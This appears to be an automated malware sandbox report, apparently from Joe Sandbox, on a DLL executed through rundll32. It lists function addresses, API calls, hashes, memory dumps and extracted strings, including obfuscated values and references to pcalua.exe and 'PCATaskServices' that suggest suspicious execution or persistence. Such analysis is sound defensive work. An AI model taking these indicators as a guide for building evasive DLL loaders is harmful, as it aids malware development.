Instruction Fuzzy Hash: 5EA11332B041559FCF098F68C851BAE7BB5AB47328F24024DEC11DB791DB358966CBD1

Function 6CDF1274 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 149
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,000003E8,00000000,00000000), ref: 6CDF12AB
GetProcAddress.KERNEL32(?), ref: 6CDF131D
GetProcAddress.KERNEL32(?), ref: 6CDF1388
GetProcAddress.KERNEL32(?), ref: 6CDF13F6

Strings

QdAsBD7BYBADBDhB`dAyBKRBQdAsBDtBYRA[BB>>, xrefs: 6CDF1395
QtAoBKRBQRAvBKZBbRAzBD;BadAwBDVBadA3BEZBZRAzBDhBZRAjBDtBYRA[BB>>, xrefs: 6CDF12B1
kernel32.dll, xrefs: 6CDF12A6
QdAsBD7BYBALBDVBfBA3BFZBbRApBDVBUtB>, xrefs: 6CDF1325

Memory Dump Source

Source File: 00000003.00000002.1722835798.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000003.00000002.1722777207.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723035391.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723081682.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723136585.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cdf0000_rundll32.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: QdAsBD7BYBADBDhB`dAyBKRBQdAsBDtBYRA[BB>>$QdAsBD7BYBALBDVBfBA3BFZBbRApBDVBUtB>$QtAoBKRBQRAvBKZBbRAzBD;BadAwBDVBadA3BEZBZRAzBDhBZRAjBDtBYRA[BB>>$kernel32.dll
API String ID: 667068680-2765630095
Opcode ID: 45564cd1df150ab7dbbc628e6f45e0c53d7915506d181a82d16ca34f192e5ad7
Instruction ID: 425c6344d658a48c52f5a1f54e224fa0f0ec4f1c6bfd8078fbe2181997159c11
Opcode Fuzzy Hash: 45564cd1df150ab7dbbc628e6f45e0c53d7915506d181a82d16ca34f192e5ad7
Instruction Fuzzy Hash: 235106B1D002889BCB25CFA8DC919EEBBB4BF49308F15812DD961D7B51EB31951DCB60

Function 6CE06710 Relevance: 13.9, APIs: 9, Instructions: 354
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

mydllmain.UIFTTNKL2R(00000000,?), ref: 6CE067C7

Memory Dump Source

Source File: 00000003.00000002.1722835798.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000003.00000002.1722777207.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723035391.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723081682.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723136585.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cdf0000_rundll32.jbxd

Similarity

API ID: mydllmain
String ID:
API String ID: 979097349-0
Opcode ID: 72b7d4d62d11674e5481037c0333d9c038b14fca1d2a74066183c7589bf8a711
Instruction ID: 67f4da6d1bec6f5e9f1b6000aa58b14403ff77c4906f81fe86b027ad3a7ee607
Opcode Fuzzy Hash: 72b7d4d62d11674e5481037c0333d9c038b14fca1d2a74066183c7589bf8a711
Instruction Fuzzy Hash: F9E15D31F4422A8BCB25CF1889817DDB7B9AB59304F2481E9D898E7B01D670AED48FD0

Function 6CDF4786 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

type_info::operator==.LIBVCRUNTIME ref: 6CDF48A5
___TypeMatch.LIBVCRUNTIME ref: 6CDF49B3
_UnwindNestedFrames.LIBCMT ref: 6CDF4B05
CallUnexpected.LIBVCRUNTIME ref: 6CDF4B20

Strings

csm, xrefs: 6CDF47C3
csm, xrefs: 6CDF4830
csm, xrefs: 6CDF48DC

Memory Dump Source

Source File: 00000003.00000002.1722835798.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000003.00000002.1722777207.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723035391.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723081682.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723136585.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cdf0000_rundll32.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: e4c5e4d7f6205273afa9c9b04dd51d1405daa3bcc43178d3e99fb498a2080327
Instruction ID: 997eff579f9f4d4b10920e0034ec8fdb8b0fdf839abcc3950d48b6f17865fbb3
Opcode Fuzzy Hash: e4c5e4d7f6205273afa9c9b04dd51d1405daa3bcc43178d3e99fb498a2080327
Instruction Fuzzy Hash: A2B16A71804219EFCF05CFA5CA8099EB7B5BF04318F16425AE9307BA21D731DA56CFA6

Function 6CDF4090 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 122
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_ValidateLocalCookies.LIBCMT ref: 6CDF40C7
___except_validate_context_record.LIBVCRUNTIME ref: 6CDF40CF
_ValidateLocalCookies.LIBCMT ref: 6CDF4158
__IsNonwritableInCurrentImage.LIBCMT ref: 6CDF4183
mydllmain.UIFTTNKL2R(?,00000001), ref: 6CDF419C
_ValidateLocalCookies.LIBCMT ref: 6CDF41D8

Strings

csm, xrefs: 6CDF416D

Memory Dump Source

Source File: 00000003.00000002.1722835798.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000003.00000002.1722777207.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723035391.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723081682.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723136585.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cdf0000_rundll32.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_recordmydllmain
String ID: csm
API String ID: 2845398917-1018135373
Opcode ID: e27e630f3de56f3f9abe7f793f8af1083c37b4ce17176d04900e3f2ed5ccbfae
Instruction ID: 25bc80b62971eac95ec2666a3ab8c38fb621d7975d24c8010b6569e63c649116
Opcode Fuzzy Hash: e27e630f3de56f3f9abe7f793f8af1083c37b4ce17176d04900e3f2ed5ccbfae
Instruction Fuzzy Hash: F4418334A01209DFCF00DF69C980A9EBBB5FF45328F15815AE8389BB61D731DA56CB91

Function 6CDFE73F Relevance: 10.8, APIs: 7, Instructions: 329
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_strrchr.LIBCMT ref: 6CDFE7C5

Memory Dump Source

Source File: 00000003.00000002.1722835798.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000003.00000002.1722777207.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723035391.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723081682.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723136585.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cdf0000_rundll32.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: dccc5fed7eae1ac0f2b9dc4a4a5c9194eecbad04fa69afc9fd44217c599bdb86
Instruction ID: bde302714e3582dea2042b3f93d2c5c0a3a3695a4739685e07f364c0e2e0b923
Opcode Fuzzy Hash: dccc5fed7eae1ac0f2b9dc4a4a5c9194eecbad04fa69afc9fd44217c599bdb86
Instruction Fuzzy Hash: 61B14432A05399DFEB118F68C880BAEBBB5FF46314F164155E864ABB91D3749902C7E0

Function 6CDF2EF3 Relevance: 10.6, APIs: 7, Instructions: 136
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__RTC_Initialize.LIBCMT ref: 6CDF2F3A
___scrt_uninitialize_crt.LIBCMT ref: 6CDF2F54

Memory Dump Source

Source File: 00000003.00000002.1722835798.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000003.00000002.1722777207.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723035391.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723081682.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723136585.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cdf0000_rundll32.jbxd

Similarity

API ID: Initialize___scrt_uninitialize_crt
String ID:
API String ID: 2442719207-0
Opcode ID: 26d0c6b1ed7d015f48c3559dcff077247d3b9d3f0409c5009c3922b891adb4be
Instruction ID: 13b978d1b5449cba21717cfc14234ee8deeaf57e55d314901adf2f81ecbec747
Opcode Fuzzy Hash: 26d0c6b1ed7d015f48c3559dcff077247d3b9d3f0409c5009c3922b891adb4be
Instruction Fuzzy Hash: 5341E4B2E15654EBDB208F66CC04B9E7AB4FF8475CF134116E8345BB60D73089078BA1

Function 6CE01EAA Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 79
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

3 l, xrefs: 6CE01EFB
C:\Windows\SysWOW64\rundll32.exe, xrefs: 6CE01EC6

Memory Dump Source

Source File: 00000003.00000002.1722835798.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000003.00000002.1722777207.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723035391.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723081682.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723136585.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cdf0000_rundll32.jbxd

Similarity

API ID:
String ID: 3 l$C:\Windows\SysWOW64\rundll32.exe
API String ID: 0-542011148
Opcode ID: b6a2112bbe9228fb9c9d048d777419a38d09d1f1061546018f3a1f7f2f9ee234
Instruction ID: 79067004ee339bce1677c60b3ff8fa11fbe43582b9e005394efbfee4124cc4d1
Opcode Fuzzy Hash: b6a2112bbe9228fb9c9d048d777419a38d09d1f1061546018f3a1f7f2f9ee234
Instruction Fuzzy Hash: 92215E31708206AF9B109FE6CC4199B77B9BF423AC7254619E864DBF50E731E82587E0

Function 6CDFF7B5 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,6CDFF8C4,6CDF5FC1,B583E81C,00000000,6CDFA99A,00000000,?,6CDFFA3D,00000022,FlsSetValue,6CE0D4F0,ccs,6CDFA99A), ref: 6CDFF876

Strings

ext-ms-, xrefs: 6CDFF820
api-ms-, xrefs: 6CDFF80C

Memory Dump Source

Source File: 00000003.00000002.1722835798.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000003.00000002.1722777207.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723035391.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723081682.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723136585.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cdf0000_rundll32.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: ae8f04d9a92ccc47a107f3aaf904254b1b1d3bdd7bc796fb8cd79cc5e353af15
Instruction ID: 405cddab5b2cc517201c4f2089265643c4184dac276e0659c5f811b74e5e073c
Opcode Fuzzy Hash: ae8f04d9a92ccc47a107f3aaf904254b1b1d3bdd7bc796fb8cd79cc5e353af15
Instruction Fuzzy Hash: CA210872F01119E7DB119B65CC80B4A77B8BB43378F260125E935A7790D730E912C6D0

Function 6CDFC20A Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,42800FE9,6CDFA99A,?,00000000,6CE0A770,000000FF,?,6CDFC1A4,B583E81C,?,6CDFC178,?), ref: 6CDFC23F
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 6CDFC251
mydllmain.UIFTTNKL2R(B583E81C,?,00000000,6CE0A770,000000FF,?,6CDFC1A4,B583E81C,?,6CDFC178,?), ref: 6CDFC262
FreeLibrary.KERNEL32(00000000,?,00000000,6CE0A770,000000FF,?,6CDFC1A4,B583E81C,?,6CDFC178,?), ref: 6CDFC273

Strings

mscoree.dll, xrefs: 6CDFC238
CorExitProcess, xrefs: 6CDFC249

Memory Dump Source

Source File: 00000003.00000002.1722835798.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000003.00000002.1722777207.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723035391.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723081682.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723136585.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cdf0000_rundll32.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProcmydllmain
String ID: CorExitProcess$mscoree.dll
API String ID: 361333426-1276376045
Opcode ID: 7590220388d4d6b3c9e613662b4e0c24b37da2d81281bf934a98d98083edd542
Instruction ID: dc5e5c27f21268c63dcde9a36d8c752134f9fded225fe38b764fde346fa98487
Opcode Fuzzy Hash: 7590220388d4d6b3c9e613662b4e0c24b37da2d81281bf934a98d98083edd542
Instruction Fuzzy Hash: B5018F31B04619EBDB119B90CC09FAEBBB8FB45B15F104529E822A2690DB359910CAD0

Function 6CDFDBF7 Relevance: 9.3, APIs: 6, Instructions: 292COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1722835798.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000003.00000002.1722777207.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723035391.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723081682.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723136585.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cdf0000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 47ec99b5c8bb707002f006cb681261f56ad97a74cb9623aa1d5cf861a412e95b
Instruction ID: 2c63f7196531f16a3d049d74ace63d2bd4c2700609c8b44d10c9453455a02bd4
Opcode Fuzzy Hash: 47ec99b5c8bb707002f006cb681261f56ad97a74cb9623aa1d5cf861a412e95b
Instruction Fuzzy Hash: 47B10670A04289EFDB01CF99C840BEEBBB1BF5A318F164159E57497BA1C7709947CBA0

Function 6CDF1795 Relevance: 9.1, APIs: 1, Strings: 4, Instructions: 335COMMONLIBRARYCODE

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 6CDF1871

Strings

PCATaskServices, xrefs: 6CDF1B2E
%sk, xrefs: 6CDF1A6A
pcalua.exe, xrefs: 6CDF1B24
PT32S, xrefs: 6CDF1AFD

Memory Dump Source

Source File: 00000003.00000002.1722835798.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000003.00000002.1722777207.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723035391.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723081682.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723136585.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cdf0000_rundll32.jbxd

Similarity

API ID: __fread_nolock
String ID: %sk$PCATaskServices$PT32S$pcalua.exe
API String ID: 2638373210-541710397
Opcode ID: 93ed09e847bc4bcd7e1a10286dd3b184cde09ab031ad6cf8d039585eae59893c
Instruction ID: 33a573849c30ce536214a39ab89cc6ccbf498b23aaf1faddf216a5cb1ae97be1
Opcode Fuzzy Hash: 93ed09e847bc4bcd7e1a10286dd3b184cde09ab031ad6cf8d039585eae59893c
Instruction Fuzzy Hash: B5C19572900249ABDF15DFA4CC45BEE77B4FF08308F154119E915BB7A0EB749A0ACBA1

Function 6CDF444F Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00000001,?,6CDF43CD,6CDF33F7,6CDF2DC4,?,6CDF2FFC,?,00000001,?,?,00000001,?,6CE11F78,0000000C,6CDF30F5), ref: 6CDF445D
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 6CDF446B
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 6CDF4484
SetLastError.KERNEL32(00000000,6CDF2FFC,?,00000001,?,?,00000001,?,6CE11F78,0000000C,6CDF30F5,?,00000001,?), ref: 6CDF44D6

Memory Dump Source

Source File: 00000003.00000002.1722835798.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000003.00000002.1722777207.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723035391.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723081682.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723136585.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cdf0000_rundll32.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 7c34103202058e9c109f043cd923a0c0f43cbf135862b2b6b901cdfdb1025db5
Instruction ID: c5c4dc36d06cfabf014f882ef020fbe85c651f24d1d169326bb09731bceb14c5
Opcode Fuzzy Hash: 7c34103202058e9c109f043cd923a0c0f43cbf135862b2b6b901cdfdb1025db5
Instruction Fuzzy Hash: 2C01283230D611ADAA001B756E8565B37B4FB0237C722432EF57452DF0FF92482B4194

Function 6CE06DA4 Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 6CE06E29
__alloca_probe_16.LIBCMT ref: 6CE06EF2
__freea.LIBCMT ref: 6CE06F59

Part of subcall function 6CDFE25E: HeapAlloc.KERNEL32(00000000,6CE02423,?,?,6CE02423,00000220,?,?,?), ref: 6CDFE290

__freea.LIBCMT ref: 6CE06F6C
__freea.LIBCMT ref: 6CE06F79

Memory Dump Source

Source File: 00000003.00000002.1722835798.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000003.00000002.1722777207.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723035391.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723081682.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723136585.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cdf0000_rundll32.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: 53104b49fcb10f8949d789a013479e9623a108b507c3814dab78e362bf678a22
Instruction ID: 2e7b02de5a7d3c899db5fc23a150b96ac2ec42c0c04379bb547c7650deaa65d5
Opcode Fuzzy Hash: 53104b49fcb10f8949d789a013479e9623a108b507c3814dab78e362bf678a22
Instruction Fuzzy Hash: 6651B072711606ABEB108F648C86FAB3BBDEF4565CB310129FD14DAA50E730CCA5C6E0

Function 6CDF452F Relevance: 7.7, APIs: 5, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

mydllmain.UIFTTNKL2R(6CE12080,00000010,6CDF46A1,?,?,?,?,6CE120A0,00000008,6CDF4725,?,?,?,00000000), ref: 6CDF458E
___AdjustPointer.LIBCMT ref: 6CDF45F6
___AdjustPointer.LIBCMT ref: 6CDF4619
___AdjustPointer.LIBCMT ref: 6CDF46B5

Memory Dump Source

Source File: 00000003.00000002.1722835798.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000003.00000002.1722777207.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723035391.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723081682.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723136585.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cdf0000_rundll32.jbxd

Similarity

API ID: AdjustPointer$mydllmain
String ID:
API String ID: 3586548312-0
Opcode ID: 7c5805ce92dfc8a1440261eb806d3e816d7bb23834e4b7da1578dcb81c377faf
Instruction ID: dca39e9f974f2c2877948a5696615083e4b316848623e6c8a5cdd41c4b8ddfd0
Opcode Fuzzy Hash: 7c5805ce92dfc8a1440261eb806d3e816d7bb23834e4b7da1578dcb81c377faf
Instruction Fuzzy Hash: 8E51CF72606206DFEB158F10CA50BEA73B4BF44319F224529E8354BAB0E731E956CB50

Function 6CDF2FA3 Relevance: 7.6, APIs: 5, Instructions: 87COMMONLIBRARYCODE

Download Yara Rule

APIs

dllmain_raw.LIBCMT ref: 6CDF2FE0
dllmain_crt_dispatch.LIBCMT ref: 6CDF2FF7
dllmain_raw.LIBCMT ref: 6CDF303F
dllmain_crt_dispatch.LIBCMT ref: 6CDF3052
dllmain_raw.LIBCMT ref: 6CDF3065

Memory Dump Source

Source File: 00000003.00000002.1722835798.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000003.00000002.1722777207.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723035391.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723081682.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723136585.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cdf0000_rundll32.jbxd

Similarity

API ID: dllmain_raw$dllmain_crt_dispatch
String ID:
API String ID: 3136044242-0
Opcode ID: c8a43bad49934fcb264cb8c1e18061eb8d75ac0962ba0dfd020b45c5d0194c24
Instruction ID: 7ef8648142c4f702bf3fbfdc3d79709bca4c5f14efa4f17dcaeafa7a92282e2e
Opcode Fuzzy Hash: c8a43bad49934fcb264cb8c1e18061eb8d75ac0962ba0dfd020b45c5d0194c24
Instruction Fuzzy Hash: 0A21A2B1901A55EADB214F56C848AAF3A79BB84B9CB174116F8345BB30D3318D038BA1

Function 6CDF5562 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,6CDF5513,00000000,?,00000001,?,?,?,6CDF5602,00000001,FlsFree,6CE0BCD8,FlsFree), ref: 6CDF556F
GetLastError.KERNEL32(?,6CDF5513,00000000,?,00000001,?,?,?,6CDF5602,00000001,FlsFree,6CE0BCD8,FlsFree,00000000,?,6CDF4524), ref: 6CDF5579
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 6CDF55A1

Strings

api-ms-, xrefs: 6CDF5586

Memory Dump Source

Source File: 00000003.00000002.1722835798.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000003.00000002.1722777207.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723035391.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723081682.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723136585.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cdf0000_rundll32.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 26d0bcda0daf060657cf9922a09ee87ac861555935ead9fdc94cf7d382fb54f7
Instruction ID: d68f2693b1a365badb6a4ae4511271442a115e96ca9cc4a1433ae5d21e571346
Opcode Fuzzy Hash: 26d0bcda0daf060657cf9922a09ee87ac861555935ead9fdc94cf7d382fb54f7
Instruction Fuzzy Hash: 19E04F30B4420CFBEF111FA1DC05B493B76BB02B58F258020F92CE89E1FB63952186C8

Function 6CE00698 Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(42800FE9,00000000,00000000,?), ref: 6CE006FB

Part of subcall function 6CE029F7: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,6CE06F4F,?,00000000,-00000008), ref: 6CE02A58

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 6CE0094D
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 6CE00993
GetLastError.KERNEL32 ref: 6CE00A36

Memory Dump Source

Source File: 00000003.00000002.1722835798.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000003.00000002.1722777207.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723035391.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723081682.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723136585.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cdf0000_rundll32.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: bc68c3bd2bc26256e110de4a282d6b772efef14b899b45227811403e54d8451e
Instruction ID: 2d6a87b8e55e569e0540d40fa4379cc16b0c1aa0be63e6f0242588881d453619
Opcode Fuzzy Hash: bc68c3bd2bc26256e110de4a282d6b772efef14b899b45227811403e54d8451e
Instruction Fuzzy Hash: ADD18D75E042889FDF01CFA8C8809EDBBB5FF49314F24416AE465EBB51E730A952CB90

Function 6CE08E93 Relevance: 6.1, APIs: 4, Instructions: 147COMMONLIBRARYCODE

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,6CE087FF), ref: 6CE08EAC
mydllmain.UIFTTNKL2R(00000001,?,?), ref: 6CE09020
mydllmain.UIFTTNKL2R(00000002,?,?), ref: 6CE09066

Memory Dump Source

Source File: 00000003.00000002.1722835798.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000003.00000002.1722777207.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723035391.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723081682.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723136585.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cdf0000_rundll32.jbxd

Similarity

API ID: mydllmain$DecodePointer
